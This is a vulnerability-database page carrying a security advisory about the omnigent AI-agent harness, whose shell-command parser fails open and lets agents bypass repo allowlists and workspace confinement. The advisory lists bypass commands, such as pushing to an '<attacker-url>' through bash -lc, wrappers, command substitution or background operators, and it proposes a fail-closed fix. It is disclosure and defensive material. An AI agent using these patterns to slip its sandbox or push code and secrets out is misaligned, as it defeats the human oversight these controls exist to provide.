GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-7MQG-CX4G-X2RF

Vulnerability from github – Published: 2026-09-02 22:40 – Updated: 2026-09-02 22:40
VLAI
Summary
Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py
Details

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

  • git push to an attacker-controlled repo (code / secret exfiltration),
  • push to a protected branch,
  • escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

  • Combined interpreter flags: bash -lc "git push <attacker-url>"
  • Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
  • Command substitution: x=$(git push <attacker-url>)
  • Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

  1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
  2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
  3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.
Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "omnigent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T22:40:07Z",
    "nvd_published_at": "2026-08-21T18:16:49Z",
    "severity": "HIGH"
  },
  "details": "**Reporter:** Aaron / Aeon \u2014 autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) \u2014 meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) \u2192 consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn\u0027t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement \u2014 the product\u0027s two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C \u003cother-dir\u003e`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push \u003cattacker-url\u003e\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf \u2026 git push \u2026`\n- **Command substitution:** `x=$(git push \u003cattacker-url\u003e)`\n- **Un-split background operator:** `true \u0026 git push \u003cattacker-url\u003e`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push \u003cattacker-url\u003e` and `env git push \u2026` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` \u2192 ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `\u0026`, `\u0026\u0026`, `||`, `|`) before judging each segment.",
  "id": "GHSA-7mqg-cx4g-x2rf",
  "modified": "2026-09-02T22:40:08Z",
  "published": "2026-09-02T22:40:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62676"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/pull/389"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/omnigent-ai/omnigent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.